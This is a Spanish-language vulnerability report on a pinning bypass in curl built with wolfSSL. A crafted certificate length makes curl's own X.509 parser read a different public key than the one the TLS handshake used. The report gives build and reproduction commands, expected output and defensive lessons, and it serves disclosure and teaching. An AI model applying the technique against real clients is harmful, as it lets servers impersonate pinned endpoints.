Resumen
curl permite fijar la clave pública esperada de un servidor con CURLOPT_PINNEDPUBLICKEY (en la línea de órdenes, --pinnedpubkey). La idea es que, aunque no se valide la cadena de certificados, la conexión solo siga adelante si el servidor demuestra tener la clave privada correspondiente a ese pin.
En curl 8.22.0 compilado con wolfSSL como motor TLS, esa garantía se podía romper. El problema es que el certificado se interpreta dos veces, con dos analizadores distintos:
- wolfSSL analiza el certificado durante el handshake y usa la clave pública A, de la que el servidor sí tiene la clave privada.
- curl, para comprobar el pin, vuelve a analizar el mismo DER con su propio analizador X.509,
Curl_parseX509(). Si el campovaliditydel certificado lleva una longitud manipulada, curl se desplaza a otro punto del certificado y extrae una segunda clave pública incrustada, B.
Resultado: el handshake se completa con A, el pin se compara con B, y si el cliente había fijado B, curl da la conexión por buena y envía la petición HTTP. El servidor nunca ha tenido la clave privada de B.
El investigador aclara que no se trata de saltarse la validación de la CA: la prueba usa el modo documentado de "solo pinning" (-k junto con --pinnedpubkey), en el que el pin es la única comprobación de identidad y debe verificarse por su cuenta.
Datos del caso: CVE-2026-87866, debilidad clasificada como validación incorrecta de certificados (CWE-295), severidad media. Se envió el 2 de septiembre de 2026 y se divulgó el 14 de octubre de 2026.
Pasos de reproducción
Hacen falta git, curl, unzip, openssl, clang/clang++, make, Autotools, pkg-config y las cabeceras de desarrollo de zlib. El investigador adjuntó un paquete con los scripts de la prueba (SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip).
- Descomprimir el paquete y preparar directorios aislados:
unzip SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip
POC_DIR="$(pwd)/wolfssl-x509-pin-bypass"
REPRO_ROOT="$(mktemp -d)"
WOLFSSL_PREFIX="$REPRO_ROOT/wolfssl-install"
- Compilar wolfSSL 5.9.2 con sanitizers:
git clone --depth 1 --branch v5.9.2-stable \
https://github.com/wolfSSL/wolfssl.git "$REPRO_ROOT/wolfssl"
cd "$REPRO_ROOT/wolfssl"
./autogen.sh
CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
LDFLAGS='-fsanitize=address,undefined' \
./configure --prefix="$WOLFSSL_PREFIX" \
--enable-tls13 --enable-harden --enable-ed25519 \
--enable-sessioncerts --enable-opensslextra \
--disable-benchmark --disable-crypttests
make -j"$(nproc)"
make install
- Descargar curl 8.22.0, comprobar su hash y compilarlo contra ese wolfSSL:
cd "$REPRO_ROOT"
curl -LO https://curl.se/download/curl-8.22.0.tar.xz
printf '%s %s\n' \
f7ef3ae8a22e521f289803fe93543eb64c329b58aa73a9e224dfd915a2a5f4f7 \
curl-8.22.0.tar.xz | sha256sum -c -
tar -xf curl-8.22.0.tar.xz
cd curl-8.22.0
CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
CPPFLAGS="-I$WOLFSSL_PREFIX/include" \
LDFLAGS="-L$WOLFSSL_PREFIX/lib -Wl,-rpath,$WOLFSSL_PREFIX/lib -fsanitize=address,undefined" \
./configure --with-wolfssl="$WOLFSSL_PREFIX" \
--without-libpsl --without-brotli --without-zstd --without-nghttp2 \
--enable-debug --disable-shared
make -j"$(nproc)"
- Lanzar el ataque completo junto con los tres casos de control:
CURL_BIN="$REPRO_ROOT/curl-8.22.0/src/curl" \
WOLFSSL_SRC="$REPRO_ROOT/wolfssl" \
"$POC_DIR/poc/reproduce.sh"
El servidor de prueba solo usa poc/key-a.pem; no recibe en ningún momento la clave privada de B. La salida esperada:
malformed A + pin B -> exit 0, HTTP 200, canary GET received
malformed A + pin A -> exit 90, HTTP 000, no request
valid A + pin A -> exit 0, HTTP 200, canary GET received
valid A + pin B -> exit 90, HTTP 000, no request
PASS: attack case and all three negative controls matched expectations
La primera línea es el fallo: con el certificado malformado y el pin de B, curl conecta y la petición "canario" llega al servidor. Los controles muestran que con un certificado normal el pin funciona como debe, y que con el certificado malformado el pin legítimo (A) falla.
- Confirmar que los dos analizadores sacan claves distintas del mismo DER:
CURL_BUILD="$REPRO_ROOT/curl-8.22.0" \
WOLFSSL_PREFIX="$WOLFSSL_PREFIX" \
"$POC_DIR/poc/run-differential.sh"
Salida esperada:
X509_DIFF der=285 curl_off=136 curl_len=44 backend_off=77 backend_len=44 input_equal=1
CURL_SPKI_SHA256=97b8b62490b44349d24429bcf466c2023933c3e3b206465cf7f2a819e53f3a1b
BACKEND_SPKI_SHA256=c5683b7ecce8c958e929f718afa669fedfcaf1013cdea29ab9162327213a2bbe
PASS: the same DER maps to backend SPKI A and curl SPKI B
Con la misma entrada (input_equal=1), wolfSSL toma la clave en el desplazamiento 77 y curl en el 136.
Impacto
Quien controle un servidor TLS sin tener la clave privada fijada puede conseguir que un curl con wolfSSL acepte la conexión como si cumpliera el pin y recibir la petición que la aplicación envía a continuación. Esto anula la garantía de autenticación que da el pinning de clave pública de curl, sobre todo en el modo en que es la única comprobación (-k con --pinnedpubkey).
Qué aprender de este caso
- Si una librería comprueba algo sobre un certificado que ya analizó el motor TLS, revisa si vuelve a interpretar el DER por su cuenta: dos analizadores distintos sobre la misma entrada son terreno fértil para diferencias explotables.
- El pin debe calcularse sobre la clave que el motor TLS usó de verdad en el handshake (pidiéndosela al propio motor), no sobre la que extrae un segundo analizador.
- Al probar analizadores ASN.1/X.509, manipula las longitudes de campos intermedios como
validity: un analizador que confía en esa longitud para saltar al siguiente campo puede acabar leyendo otra estructura incrustada. - Las pruebas diferenciales (mismo DER, comparar el SPKI que saca cada analizador) detectan este tipo de fallo sin necesidad de montar el ataque completo.